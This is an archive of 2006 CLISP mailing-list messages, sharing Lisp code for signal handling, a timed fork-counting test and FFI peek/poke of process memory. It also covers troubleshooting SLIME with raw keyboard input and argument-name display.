>         (vsignum (gensym))
>         (vsigset (gensym)))
>     `(let* ((,vsignum ,signum)
>             (,voldhan (linux:|set-signal-handler| ,vsignum ,handler))
>             (,vsigset (second (multiple-value-list
>                                (linux:|sigaddset| 
>                                       (second (multiple-value-list
>                                                (linux:|sigemptyset|)))
>                                       ,vsignum)))))
>        (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| ,vsigset)
>        (unwind-protect (progn ,@body)
>          (linux:|set-signal-handler| ,vsignum ,voldhan)
>          (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| ,vsigset)))))
> 
> 
> (defmacro with-sigseg-handler (&body body)
>   `(with-signal-handler linux:|SIGSEGV| 
>      (lambda (signum) 
>        (declare (ignore signum))
>        (error "Got Segment Violation Signal while accessing raw memory"))
>      ,@body))
> 
> 
> (defmacro with-timeout ((seconds . timeout-forms) &body body)
>   "
>     This macro evaluates the body as a progn body. If the evaluation
>     of body does not complete within the specified interval, execution
>     throws out of the body and the timeout-forms are evaluated as a
>     progn body, returning the result of the last form.)  The
>     timeout-forms are not evaluated if the body completes within
>     seconds.
>     "
>   (catch :timeout
>     `(with-signal-handler linux:|SIGALRM| 
>        (lambda (signum) 
>          (declare (ignore signum))
>          (throw :timeout (progn ,@timeout-forms)))
>        (LINUX:alarm ,seconds)
>        ,@body)))
> 
> ------------------------------------------------------------------------
> ;;;;**************************************************************************
> ;;;;FILE:               count-fork.lisp
> ;;;;LANGUAGE:           Common-Lisp
> ;;;;SYSTEM:             Common-Lisp
> ;;;;USER-INTERFACE:     NONE
> ;;;;DESCRIPTION
> ;;;;    
> ;;;;    Testing fork and signals in clisp on Linux.
> ;;;;    
> ;;;;AUTHORS
> ;;;;    <PJB> Pascal Bourguignon <pjb@informatimago.com>
> ;;;;MODIFICATIONS
> ;;;;    2006-05-02 <PJB> Added this header.
> ;;;;BUGS
> ;;;;LEGAL
> ;;;;    GPL
> ;;;;    
> ;;;;    Copyright Pascal Bourguignon 2006 - 2006
> ;;;;    
> ;;;;    This program is free software; you can redistribute it and/or
> ;;;;    modify it under the terms of the GNU General Public License
> ;;;;    as published by the Free Software Foundation; either version
> ;;;;    2 of the License, or (at your option) any later version.
> ;;;;    
> ;;;;    This program is distributed in the hope that it will be
> ;;;;    useful, but WITHOUT ANY WARRANTY; without even the implied
> ;;;;    warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
> ;;;;    PURPOSE.  See the GNU General Public License for more details.
> ;;;;    
> ;;;;    You should have received a copy of the GNU General Public
> ;;;;    License along with this program; if not, write to the Free
> ;;;;    Software Foundation, Inc., 59 Temple Place, Suite 330,
> ;;;;    Boston, MA 02111-1307 USA
> ;;;;**************************************************************************
> 
> (defparameter *run* t)
> 
> 
> (defun install-signal-handler (signum handler)
>   (let ((oldhan (linux:|set-signal-handler| signum handler))
>         (sigset (second (multiple-value-list
>                           (linux:|sigaddset| (second (multiple-value-list
>                                                       (linux:|sigemptyset|)))
>                                  signum)))))
>     (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| sigset)
>     (values signum oldhan sigset)))
> 
> 
> (defun restore-signal-handler (signum oldhan sigset)
>   (linux:|set-signal-handler| signum oldhan)
>   (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| sigset))
> 
>   
> (defmacro with-signal-handler (signum handler &body body)
>   (let ((voldhan (gensym))
>         (vsignum (gensym))
>         (vsigset (gensym)))
>     `(let* ((,vsignum ,signum)
>             (,voldhan (linux:|set-signal-handler| ,vsignum ,handler))
>             (,vsigset (second (multiple-value-list
>                                (linux:|sigaddset| 
>                                       (second (multiple-value-list
>                                                (linux:|sigemptyset|)))
>                                       ,vsignum)))))
>       (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| ,vsigset)
>       (unwind-protect (progn ,@body)
>         (linux:|set-signal-handler| ,vsignum ,voldhan)
>         (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| ,vsigset)))))
> 
> 
> (ffi:def-c-struct itimerval
>   (interval-sec  ffi:long)
>   (interval-mic  ffi:long)
>   (value-sec     ffi:long)
>   (value-mic     ffi:long))
> 
> (defconstant +itimer-real+    0)
> (defconstant +itimer-virtual+ 1)
> (defconstant +itimer-prof+    2)
> 
> (ffi:def-call-out
>  setitimer
>  (:name "setitimer")
>  (:arguments (which ffi:int :in) (value (ffi:c-ptr itimerval) :in)
>   (ovalue (ffi:c-ptr-null itimerval) :in))
>  (:return-type ffi:int)
>  (:language :stdc)
>  (:library "/lib/libc.so.6"))
>                    
>        
> (defun main ()
>   (setf *run* t)
>   (with-signal-handler linux:|SIGVTALRM| 
>     (lambda (signum) (declare (ignore signum)) (setf *run* nil))
>     (ffi:with-c-var (i 'itimerval (make-itimerval :interval-sec 0
>                                                   :interval-mic 0
>                                                   :value-sec 0
>                                                   :value-mic 1000))
>       (setitimer +itimer-virtual+ i nil))
>     (loop with counter = 0
>           with failed  = 0
>           while *run*
>           do (let ((res (linux:fork)))
>                (cond ((null res) (incf failed))
>                      ((= 0 res) (linux:exit 0))
>                      (t (incf counter))))
>           finally (format t "forked ~D times (failed ~D times)~%" counter failed))))
> 
> 
> ------------------------------------------------------------------------
> 
> ;;****************************************************************************
> ;;FILE:               raw-memory.lisp
> ;;LANGUAGE:           Common-Lisp
> ;;SYSTEM:             Common-Lisp
> ;;USER-INTERFACE:     NONE
> ;;DESCRIPTION
> ;;    
> ;;    Peek and Poke.
> ;;    
> ;;AUTHORS
> ;;    <PJB> Pascal J. Bourguignon <pjb@informatimago.com>
> ;;MODIFICATIONS
> ;;    2004-11-30 <PJB> Created.
> ;;BUGS
> ;;LEGAL
> ;;    GPL
> ;;    
> ;;    Copyright Pascal J. Bourguignon 2004 - 2004
> ;;    
> ;;    This program is free software; you can redistribute it and/or
> ;;    modify it under the terms of the GNU General Public License
> ;;    as published by the Free Software Foundation; either version
> ;;    2 of the License, or (at your option) any later version.
> ;;    
> ;;    This program is distributed in the hope that it will be
> ;;    useful, but WITHOUT ANY WARRANTY; without even the implied
> ;;    warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
> ;;    PURPOSE.  See the GNU General Public License for more details.
> ;;    
> ;;    You should have received a copy of the GNU General Public
> ;;    License along with this program; if not, write to the Free
> ;;    Software Foundation, Inc., 59 Temple Place, Suite 330,
> ;;    Boston, MA 02111-1307 USA
> ;;****************************************************************************
> 
> 
> ;; (in-package "COMMON-LISP-USER")
> ;; (eval-when (:compile-toplevel :load-toplevel :execute)
> ;;   (unless (find-package "LINUX")
> ;;     (warn "Package LINUX is not available.  Signal handling is disabled.")
> ;;     (defpackage "LINUX"
> ;;       (:use "COMMON-LISP")
> ;;       (:export "set-signal-handler" "sigaddset" "sigemptyset"
> ;;        "sigprocmask-set-n-save" "SIG_UNBLOCK" "SIGSEGV"))
> ;;     (in-package "LINUX")
> ;;     (defmacro null-op (name)
> ;;       `(defmacro ,name (&rest args) (declare (ignore args)) nil))
> ;;     (eval-when (:compile-toplevel :load-toplevel :execute)
> ;;       (null-op |set-signal-handler|)
> ;;       (null-op |sigaddset|)
> ;;       (null-op |sigemptyset|)
> ;;       (null-op |sigprocmask-set-n-save|)
> ;;       (defparameter |SIG_UNBLOCK| 0)
> ;;       (defparameter |SIGSEGV|     0))))
> ;; 
> ;; (in-package "COMMON-LISP-USER")
> 
> 
> (DEFINE-PACKAGE "COM.INFORMATIMAGO.CLISP.RAW-MEMORY"
>   (:NICKNAMES "RAW-MEMORY")
>   (:DOCUMENTATION "Peek and Poke.")
>   (:FROM "COMMON-LISP" :IMPORT :ALL)
>   (:use  "FFI")
>   (:use  "LINUX")
>   (:EXPORT 
>    "PEEK" "POKE" "DUMP"
>    "WITH-SIGSEG-HANDLER"
>    ;; The following are low-level function, not protected by signal handler.
>    ;; Install you own!
>    "PEEK-UINT8"  "PEEK-SINT8"  "POKE-UINT8"  "POKE-SINT8"
>    "PEEK-UINT16" "PEEK-SINT16" "POKE-UINT16" "POKE-SINT16"
>    "PEEK-UINT32" "PEEK-SINT32" "POKE-UINT32" "POKE-SINT32"
>    "PEEK-UINT64" "PEEK-SINT64" "POKE-UINT64" "POKE-SINT64"
>    ));;COM.INFORMATIMAGO.CLISP.RAW-MEMORY
> 
> 
> (eval-when (:compile-toplevel :load-toplevel :execute)
>   (defparameter +library+
>     (loop for path in '("libraw-memory.so"
>                         "packages:com;informatimago;clisp;libraw-memory.so")
>           until (probe-file path)
>           finally (return (namestring (truename path))))))
> 
> 
> (defun install-signal-handler (signum handler)
>   (let ((oldhan (linux:|set-signal-handler| signum handler))
>         (sigset (second (multiple-value-list
>                           (linux:|sigaddset| (second (multiple-value-list
>                                                       (linux:|sigemptyset|)))
>                                  signum)))))
>     (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| sigset)
>     (values signum oldhan sigset)))
> 
> 
> (defun restore-signal-handler (signum oldhan sigset)
>   (linux:|set-signal-handler| signum oldhan)
>   (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| sigset))
> 
>   
> 
> (defmacro with-signal-handler (signum handler &body body)
>   (let ((voldhan (gensym))
>         (vsignum (gensym))
>         (vsigset (gensym)))
>     `(let* ((,vsignum ,signum)
>             (,voldhan (linux:|set-signal-handler| ,vsignum ,handler))
>             (,vsigset (second (multiple-value-list
>                                (linux:|sigaddset| 
>                                       (second (multiple-value-list
>                                                (linux:|sigemptyset|)))
>                                       ,vsignum)))))
>       (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| ,vsigset)
>       (unwind-protect (progn ,@body)
>         (linux:|set-signal-handler| ,vsignum ,voldhan)
>         (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| ,vsigset)))))
> 
> 
> (defmacro with-sigseg-handler (&body body)
>   `(with-signal-handler linux:|SIGSEGV| 
>     (lambda (signum) 
>       (declare (ignore signum))
>       (error "Got Segment Violation Signal while accessing raw memory"))
>     ,@body))
> 
> 
> ;; Scalar:
> 
> (defmacro generate-peek-and-poke ()
>   (loop with code = '()
>         for size in '(8 16 32)  ;; peek and poke of 64-bit don't work.
>         for c-peek-name = (format nil "peek~D" size)
>         for c-poke-name = (format nil "poke~D" size) do
>         (loop for type in '(uint sint) 
>               for l-peek-name = (intern (with-standard-io-syntax
>                                           (format nil"PEEK-~A~D" type size))
>                                         "COM.INFORMATIMAGO.CLISP.RAW-MEMORY")
>               for l-poke-name = (intern (with-standard-io-syntax
>                                           (format nil"POKE-~A~D" type size))
>                                         "COM.INFORMATIMAGO.CLISP.RAW-MEMORY")
>               for l-type      = (intern (with-standard-io-syntax
>                                           (format nil"~A~D" type size))
>                                         "FFI")
>               do 
>               (push `(ffi:def-call-out ,l-peek-name
>                       (:name ,c-peek-name)
>                       (:arguments (address ffi:ulong))
>                       (:return-type ,l-type)
>                       (:library  #.+library+) (:language :stdc)) code)
>               (push `(ffi:def-call-out ,l-poke-name
>                       (:name ,c-poke-name)
>                       (:arguments (address ffi:ulong) (value ,l-type))
>                       (:return-type nil)
>                       (:library  #.+library+) (:language :stdc)) code))
>         finally (return `(progn ,@ code))))
> 
> 
> 
> (eval-when (:load-toplevel :execute)
>   (generate-peek-and-poke))
> 
> 
> (defun peek-uint64 (address)
>   (dpb (raw-memory:peek-uint32 (+ 4 address))
>        (byte 32 32)
>        (raw-memory:peek-uint32 address)))
> 
> (defun peek-sint64 (address)
>   (dpb (raw-memory:peek-uint32 (+ 4 address))
>        (byte 32 32)
>        (raw-memory:peek-uint32 address)))
> 
> (defun poke-uint64 (address object)
>   (poke-uint32      address  (ldb (byte 32  0) object))
>   (poke-uint32 (+ 4 address) (ldb (byte 32 32) object)))
> 
> (defun poke-sint64 (address object)
>   (poke-uint32      address  (ldb (byte 32  0) object))
>   (poke-uint32 (+ 4 address) (ldb (byte 32 32) object)))
> 
> 
> 
> (defun get-function (type peek-or-poke)
>   (case peek-or-poke
>     ((:peek)
>      (when (atom type) (error "Can't peek this type ~S" type))
>      (case (first type)
>        ((unsigned-byte)
>         (case (second type)
>           ((8)  (values (function peek-uint8 ) 1))
>           ((16) (values (function peek-uint16) 2))
>           ((32) (values (function peek-uint32) 4))
>           ((64) (values (function peek-uint64) 8))
>           (otherwise (error "Can't peek this type ~S" type))))
>        ((signed-byte)
>         (case (second type)
>           ((8)  (values (function peek-sint8 ) 1))
>           ((16) (values (function peek-sint16) 2))
>           ((32) (values (function peek-sint32) 4))
>           ((64) (values (function peek-sint64) 8))
>           (otherwise (error "Can't peek this type ~S" type))))
>        (otherwise (error "Can't peek this type ~S" type))))
>     ((:poke)
>      (when (atom type) (error "Can't poke this type ~S" type))
>      (case (first type)
>        ((unsigned-byte)
>         (case (second type)
>           ((8)  (values (function poke-uint8 ) 1))
>           ((16) (values (function poke-uint16) 2))
>           ((32) (values (function poke-uint32) 4))
>           ((64) (values (function poke-uint64) 8))
>           (otherwise (error "Can't poke this type ~S" type))))
>        ((signed-byte)
>         (case (second type)
>           ((8)  (values (function poke-sint8 ) 1))
>           ((16) (values (function poke-sint16) 2))
>           ((32) (values (function poke-sint32) 4))
>           ((64) (values (function poke-sint64) 8))
>           (otherwise (error "Can't poke this type ~S" type))))
>        (otherwise (error "Can't poke this type ~S" type))))
>     (otherwise
>      (error "PEEK-OR-POKE must be either :PEEK or :POKE, not ~S" 
>             peek-or-poke))))
> 
> 
> ;; type: simtype | comtype.
> ;; simtype:
> ;;     (unsigned-byte  8)
> ;;     (signed-byte    8)
> ;;     (unsigned-byte 16)
> ;;     (signed-byte   16)
> ;;     (unsigned-byte 32)
> ;;     (signed-byte   32)
> ;;     (unsigned-byte 64)
> ;;     (signed-byte   64)
> ;;     single-float ; not implemented yet.
> ;;     double-float ; not implemented yet.
> ;; comtype:
> ;;     (array  simtype size)
> ;;     (vector simtype size)
> 
> 
> (defun peek (address type)
>   (with-signal-handler linux:|SIGSEGV| 
>     (lambda (signum) 
>       (declare (ignore signum))
>       (error "Got Segment Violation Signal while peeking ~8,'0X" address))
>     (if (and (listp type)
>              (or (eq (first type) 'array)  (eq (first type) 'vector)))
>         (multiple-value-bind (peek incr) (get-function (second type) :peek)
>           (do ((data (make-array (list (third type))
>                                  :element-type (second type)
>                                  :initial-element 0))
>                (address address (+ address incr))
>                (i 0 (1+ i)))
>               ((>= i (third type)) data)
>             (setf (aref data i) (funcall peek address))))
>         (funcall (get-function type :peek) address))));;peek
> 
> 
> (defun poke (address type value)
>   (with-signal-handler linux:|SIGSEGV| 
>     (lambda (signum) 
>       (declare (ignore signum))
>       (error "Got Segment Violation Signal while poking ~8,'0X" address))
>     (if (and (listp type)
>              (or (eq (first type) 'array)  (eq (first type) 'vector)))
>         (multiple-value-bind (poke incr) (get-function (second type) :poke)
>           (do ((address address (+ address incr))
>                (i 0 (1+ i)))
>               ((>= i (third type)) (values))
>             (funcall poke address (aref value i))))
>         (funcall (get-function type :poke) address value))));;poke
> 
> 
> (defun dump (address type &optional (stream t) (margin ""))
>   (with-signal-handler linux:|SIGSEGV| 
>     (lambda (signum) 
>       (declare (ignore signum))
>       (error "Got Segment Violation Signal while peeking ~8,'0X" address))
>     (if (and (listp type)
>              (or (eq (first type) 'array)  (eq (first type) 'vector)))
>       (multiple-value-bind (peek incr) (get-function (second type) :peek)
>         (do ((address address (+ address incr))
>              (i 0 (1+ i)))
>             ((>= i (third type)) (format stream "~&") (values))
>           (when (zerop (mod i (/ 16 incr)))
>             (format stream "~&~A~8,'0X: " margin (+ address i)))
>           (format stream "~V,'0X " (* 2 incr) 
>                   (funcall peek address))))
>       (multiple-value-bind (peek incr) (get-function type :peek)
>         (format stream "~&~A~8,'0X: ~V,'0X ~&"
>                 margin address (* 2 incr)
>                 (funcall peek address))))))
> 
> 
> ;; Local Variables:
> ;; eval: (cl-indent 'with-signal-handler 2)
> ;; End:
> 
> ;;;; raw-memory.lisp                  --                     --          ;;;;
> 
> 
> You can fetch the rest of my sources with:
> 
> cvs -z3 -d :pserver:anonymous@cvs.informatimago.com:/usr/local/cvs/public/chrooted-cvs/cvs co common/makedir
> cvs -z3 -d :pserver:anonymous@cvs.informatimago.com:/usr/local/cvs/public/chrooted-cvs/cvs co common/common-lisp
> cvs -z3 -d :pserver:anonymous@cvs.informatimago.com:/usr/local/cvs/public/chrooted-cvs/cvs co common/clisp
> cvs -z3 -d :pserver:anonymous@cvs.informatimago.com:/usr/local/cvs/public/chrooted-cvs/cvs co common/sbcl
> 
> (The password for anonymous cvs user is empty). In addition, you may want to have a look at my dot-files:
> 
> cvs -z3 -d :pserver:anonymous@cvs.informatimago.com:/usr/local/cvs/public/chrooted-cvs/cvs co home
> ls -a home
> 
> 


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Date: Wed May  3 17:20:02 2006
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Dave Roberts writes:
> Thanks, Pascal. I noticed you used some functions from the LINUX 
> package. Is this a standard CLISP package or something of your own? If 
> standard CLISP, is it documented, or should I go grok the sources?

It's a clisp module, available when compiled on Linux.

Otherwise, you can get access to any C function with FFI.  For
example, on MacOSX, you could do:

(ffi:def-call-out fork 
  (:name "fork")
  (:arguments)
  (:return-type ffi:int)
  (:library "/usr/lib/libc.dylib")
  (:language :stdc))

(when (zerop (fork)) (sleep 4) (print "Hello") (ext:exit 0))




Or perhaps you could write:

(defconstant +libunix+
    #+(and unix macos)  "/usr/lib/libc.dylib"
    #+linux             "/lib/libc.so.6"
    ;; ...
    #-(or linux (and unix macos) #|...|#)
    (error "I don't know where UNIX functions are defined."))

(ffi:def-call-out fork 
  (:name "fork")
  (:arguments)
  (:return-type ffi:int)
  (:library  #.+libunix+)
  (:language :stdc))

;; ...


(defconstant +libc+
    #+(and unix macos)  "/usr/lib/libc.dylib"
    #+linux             "/lib/libc.so.6"
    ;; ...
    #-(or linux (and unix macos) #|...|#)
    (error "I don't know where standard C functions are defined."))

(ffi:def-call-out fopen
  (:name "fopen")
  (:arguments (path ffi:string :in) (mode ffi:string :in))
  (:return-type ffi:pointer)
  (:library #.+libc+)
  (:language :stdc))

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Pascal Bourguignon wrote:
> Dave Roberts writes:
>> Thanks, Pascal. I noticed you used some functions from the LINUX 
>> package. Is this a standard CLISP package or something of your own? If 
>> standard CLISP, is it documented, or should I go grok the sources?
> 
> It's a clisp module, available when compiled on Linux.

Excellent, thanks. Any documentation anywhere?

> Otherwise, you can get access to any C function with FFI.  For
> example, on MacOSX, you could do:

Yup, that was basically my plan, but if it's already done, I'll use that 
instead. Always better to use pre-debugged code if it's available. ;-)

Thanks for your help,

-- Dave



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Hoehle, Joerg-Cyril wrote:
>> WinXP, mingw, libsigsegv 2.3 and your patch - all works!
>> Great! Thanks.
> 
> Good news, but wasn't your original bug report about MS-windows-2000?
>> [1]> (VERSION)
>> #<VERSION :MAJOR 5 :MINOR 0 :BUILD 2195 :PLATFORM :NT :SERVICE-PACK 
>> "Service Pack 4" :SERVICE-PACK-MAJOR 4  :SERVICE-PACK-MINOR 0 :SUITES 
>> NIL :PRODUCT-TYPE :WORKSTATION>
> My MS-Windows-2k box system preferences also say NT5 SP4 build 2195.
> 
> So do you still have some MS-w2k machine to test on?


Result same!

$ lisp.exe -M lispinit.mem -norc -q
[1]> (defun fact(n)(if (zerop n) 1 (* n (fact (1- n)))))
FACT
[2]> (fact -1)

*** - Program stack overflow. RESET
[3]> (fact -1)

*** - Program stack overflow. RESET
[4]> (quit)

Yyyaaahhhoooooo!!! Yep! Yep! Yep! :)

Excelent!

Many thanks!

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> * Dave Roberts <qnir@ilnggn.pbz> [2006-05-03 17:31:52 -0700]:
>
> Pascal Bourguignon wrote:
>
>> Otherwise, you can get access to any C function with FFI.  For
>> example, on MacOSX, you could do:
>
> Yup, that was basically my plan, but if it's already done, I'll use
> that instead. Always better to use pre-debugged code if it's
> available. ;-)

if all you care is linux, just build your clisp --with-module=bindings/glibc
if you want more portability, you will probably need to extend syscalls.
http://clisp.cons.org/impnotes/modules.html#mod-ffi-vs-c

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I'm trying to do some development using EXT:WITH-KEYBOARD to get raw 
keystrokes from a terminal window running CLISP. I'm running under Linux 
with SLIME/SWANK and things aren't working as well as I'd like.

I have tried:

1. Just running under SLIME. The SLIME window doesn't seem to be 
attached to the EXT:*KEYBOARD-INPUT* stream, so this fails utterly 
(hangs SLIME running in Emacs, effectively, requiring an Emacs restart).

2. I also tried running CLISP in a separate terminal window and then 
loading SWANK manually and then attaching SLIME from Emacs. This all 
works and it seems like I can sort of read characters from the terminal 
window in which I started CLISP. The terminal doesn't seem to get put 
into raw mode, however. It looks like line discipline is still in effect 
and to get my code to "see" a character, I have to hit <Enter>, but then 
of course the <Enter> is in the input stream (as Ctrl-J, interestingly, 
not #\Return).

3. I have tried my code just running under the CLISP REPL in a terminal 
window and things work just as expected in this case, but then I can't 
use SLIME and my development style is back to editing code in Emacs and 
manually re-loading a file in CLISP.

Does anybody have any suggestions to help SLIME and EXT:*KEYBOARD-INPUT* 
work together?

Thanks,

-- Dave


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I am using SLIME for the first time and it tends to wedge EMACS so
badly all I can do is kill the EMACS process.  It also gets in a
state where all SLIME commands crash because some variable it
expects to be a buffer, isn't.  Not ready for prime time.

Dave,

Best consult source code of existing terminal programs,
the terminal driver modes are quite hairy.  For unix,
you could Google [terminal raw tty ioctl] for info
or perhaps look for telnet.c, telnet.lisp, etc.

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Subject: [clisp-list] SLIME/SWANK and EXT:WITH-KEYBOARD
Date: Thu, 04 May 2006 13:57:23 -0700

I'm trying to do some development using EXT:WITH-KEYBOARD to get raw 
keystrokes from a terminal window running CLISP. I'm running under Linux 
with SLIME/SWANK and things aren't working as well as I'd like.

I have tried:

1. Just running under SLIME. The SLIME window doesn't seem to be 
attached to the EXT:*KEYBOARD-INPUT* stream, so this fails utterly 
(hangs SLIME running in Emacs, effectively, requiring an Emacs restart).

2. I also tried running CLISP in a separate terminal window and then 
loading SWANK manually and then attaching SLIME from Emacs. This all 
works and it seems like I can sort of read characters from the terminal 
window in which I started CLISP. The terminal doesn't seem to get put 
into raw mode, however. It looks like line discipline is still in effect 
and to get my code to "see" a character, I have to hit <Enter>, but then 
of course the <Enter> is in the input stream (as Ctrl-J, interestingly, 
not #\Return).

3. I have tried my code just running under the CLISP REPL in a terminal 
window and things work just as expected in this case, but then I can't 
use SLIME and my development style is back to editing code in Emacs and 
manually re-loading a file in CLISP.

Does anybody have any suggestions to help SLIME and EXT:*KEYBOARD-INPUT* 
work together?

Thanks,

-- Dave


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Devon wrote:

>I am using SLIME for the first time and it tends to wedge EMACS so
>badly all I can do is kill the EMACS process. Not ready for prime time.
Your experience certainly is not typical. Maybe some version conflict between Emacs and Emacs or CLISP?
I'm using slime-1.0 with Emacs-20.7 on MS-Windows
and some n month old slime with Emacs-21.4(?) on Linux.
In comp.lang.lisp, plenty of people report using one or the other version of SLIME and Emacs and CLISP successfully.

I've heard SLIME-2.0 is out. I didn't try it out yet.

Regards,
	Jorg Hohle.



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Dave Roberts wrote:
>I'm trying to do some development using EXT:WITH-KEYBOARD to get raw=20
>keystrokes from a terminal window running CLISP.

>3. I have tried my code just running under the CLISP REPL in a=20
>terminal window and things work just as expected in this case,

Good to hear, because Don Cohen reported broken functionality recently =
(or was it just missing from one particular distribution?).

> I'm running under Linux=20
>with SLIME/SWANK and things aren't working as well as I'd like.

How do you image things would work? Where do you expect to type raw =
input?
SLIME uses TCP to talk between Emacs and CLISP.  Where does a terminal =
stream fit in?

>2. I also tried running CLISP in a separate terminal window and then=20
>loading SWANK manually and then attaching SLIME from Emacs.
>The terminal doesn't seem to get put into raw mode, however.
That sounds like a bug, a priori.

I just tried this in MS-Windows with clisp-2.38 and it worked fine =
(using an old slime-1.2.1, ignoring errors during compilation).
The first keystroke (in the DOS shell window) lead to
; CLISP  Port: 4005  Pid: nil
CL-USER> (ext:with-keyboard (read-char ext:*keyboard-input*))
#S(SYSTEM::INPUT-CHARACTER :CHAR #\r :BITS 0 :FONT 0 :KEY NIL)
No need for CR or LF.

I'll try out Linux this week-end.

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	J=F6rg H=F6hle.


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----- Joerg-Cyril Hoehle <Joerg-Cyril.Hoehle@t-systems.com> wrote:
> Devon wrote:
> 
> >I am using SLIME for the first time and it tends to wedge EMACS so
> >badly all I can do is kill the EMACS process. Not ready for prime
> time.
> Your experience certainly is not typical. Maybe some version conflict
> between Emacs and Emacs or CLISP?
> I'm using slime-1.0 with Emacs-20.7 on MS-Windows
> and some n month old slime with Emacs-21.4(?) on Linux.
> In comp.lang.lisp, plenty of people report using one or the other
> version of SLIME and Emacs and CLISP successfully.

Yup, I have to agree. I use SLIME successfully with CLISP on both Windows and Linux all the time. I'm only having trouble when I'm trying to pair it with EXT:WITH-KEYBOARD, which is not totally unexpected given the way SWANK interacts with the standard streams under the hood. Anyway, let me repeat that Devon's problem is not the problem I'm having.

> I've heard SLIME-2.0 is out. I didn't try it out yet.

SLIME 2.0 was more of a naming thing than anything else. It seems like they just wanted something more modern to post in tarball form on the SLIME website. If you have been following SLIME CVS, then you'll find it to be a pretty artificial milestone.

-- Dave



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----- Joerg-Cyril Hoehle <Joerg-Cyril.Hoehle@t-systems.com> wrote:
> Dave Roberts wrote:
> >I'm trying to do some development using EXT:WITH-KEYBOARD to get raw
> 
> >keystrokes from a terminal window running CLISP.
> 
> >3. I have tried my code just running under the CLISP REPL in a 
> >terminal window and things work just as expected in this case,
> 
> Good to hear, because Don Cohen reported broken functionality recently
> (or was it just missing from one particular distribution?).

Okay, I'll watch for that. I will admit that I haven't pushed on it much yet, so there may still be something broken which Don was running into but my simple tests haven't yet found it. I got diverted into trying to make SLIME work. BTW, I'm currently using CLISP 2.38 under Fedora Core, the stock version from Fedora Extras, installed via Yum.

> > I'm running under Linux 
> >with SLIME/SWANK and things aren't working as well as I'd like.
> 
> How do you image things would work? Where do you expect to type raw
> input?
> SLIME uses TCP to talk between Emacs and CLISP.  Where does a terminal
> stream fit in?

Right, of course. It wasn't totally unexpected to have it not work when CLISP was started as an inferior Lisp under Emacs. I just wanted to list that as an exhaustive test case in my debugging. ;-) My expected use case would be that you'd start CLISP on a terminal and then load and start SWANK, then load and start SLIME in Emacs, telling it to connect to the already-running SWANK. Then you'd enter keystrokes in the terminal window.

> >2. I also tried running CLISP in a separate terminal window and then
> 
> >loading SWANK manually and then attaching SLIME from Emacs.
> >The terminal doesn't seem to get put into raw mode, however.
> That sounds like a bug, a priori.
> 
> I just tried this in MS-Windows with clisp-2.38 and it worked fine
> (using an old slime-1.2.1, ignoring errors during compilation).
> The first keystroke (in the DOS shell window) lead to
> ; CLISP  Port: 4005  Pid: nil
> CL-USER> (ext:with-keyboard (read-char ext:*keyboard-input*))
> #S(SYSTEM::INPUT-CHARACTER :CHAR #\r :BITS 0 :FONT 0 :KEY NIL)
> No need for CR or LF.
> 
> I'll try out Linux this week-end.

Excellent, Joerg. Thank you. BTW, I was running CLISP under a Gnome Terminal instance, if that matters. I wouldn't think that it would, but just in case you're running Linux with KDE or with a raw text console.

This last case is actually the preferred way of working for me. I'll eventually be deploying this on a separate box from my development system and it would be great to be able to attach to a remote SWANK and have it all work.

Thanks for all your help.

-- Dave



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Sorry for the barrage of SLIME-related questions to this list lately, 
but I had another.

What do I have to do with CLISP such that SLIME will report informative 
argument names whenever it does its thing as I'm typing standard 
functions? For instance, I was just typing in a call to ASSOC and SLIME 
helpfully showed me the function prototype as "(assoc arg0 arg1 &key 
test test-not key)". Obviously, the "arg0" and "arg1" are not very 
helpful, particularly when you can't remember the order of the 
arguments. In this particular example, it isn't a big deal, but I have 
been running into this and I hadn't been realizing how much I was 
relying on this for prompting until it was gone. SBCL shows me 
informative argument names and that helps me remember things better. 
This is particularly useful when you're dealing with ELT and NTH, which 
have things reversed and I can never remember which is which.

I'm assuming that SLIME gets the argument information from the Lisp that 
it's interacting with, and that for some reason CLISP is just saying 
"arg0" and "arg1". I'm guessing that there is probably a compile-time 
switch somewhere for CLISP that will cause it to provide useful info, 
probably at the expense of larger image size to store all the argument 
names.

-- Dave


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On my machine this info is stored in file xemacs-21.4.19\lisp\cldoc.el
(I'm accessing clisp via xemacs and slime). Your setup may be different.
Cldoc.el is just a text file so you can modify it and restart xemacs and
immediately see the revisions.
If you do decide to improve this file I would be interested in seeing a
copy.
-lv


Dave Roberts wrote:
> Sorry for the barrage of SLIME-related questions to this list lately, 
> but I had another.
> 
> What do I have to do with CLISP such that SLIME will report informative 
> argument names whenever it does its thing as I'm typing standard 
> functions? For instance, I was just typing in a call to ASSOC and SLIME 
> helpfully showed me the function prototype as "(assoc arg0 arg1 &key 
> test test-not key)". Obviously, the "arg0" and "arg1" are not very 
> helpful, particularly when you can't remember the order of the 
> arguments. In this particular example, it isn't a big deal, but I have 
> been running into this and I hadn't been realizing how much I was 
> relying on this for prompting until it was gone. SBCL shows me 
> informative argument names and that helps me remember things better. 
> This is particularly useful when you're dealing with ELT and NTH, which 
> have things reversed and I can never remember which is which.
> 
> I'm assuming that SLIME gets the argument information from the Lisp that 
> it's interacting with, and that for some reason CLISP is just saying 
> "arg0" and "arg1". I'm guessing that there is probably a compile-time 
> switch somewhere for CLISP that will cause it to provide useful info, 
> probably at the expense of larger image size to store all the argument 
> names.
> 
> -- Dave
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Lou Vanek writes:
> Dave Roberts wrote:
> > What do I have to do with CLISP such that SLIME will report informative 
> > argument names whenever it does its thing as I'm typing standard 
> > functions? 

You'll have to distringuish two cases:
- functions whose source is lisp, byte-compiled or interpreted.
- functions whose source is C.

In the later case, there's no declaration of the parameter names. The
parameters are pushed on the stack, and the C functions take them from
the stack. The only declarations are:

LISPFUNNR(nth,2)
LISPFUNNR(elt,2)
LISPFUN(assoc,seclass_default,2,0,norest,key,3,
        (kw(test),kw(test_not),kw(key)) )
etc...

Happily, this concerns mostly COMMON-LISP functions, and perhaps some
modules: we can maintain meta data separately, from the
specifications.

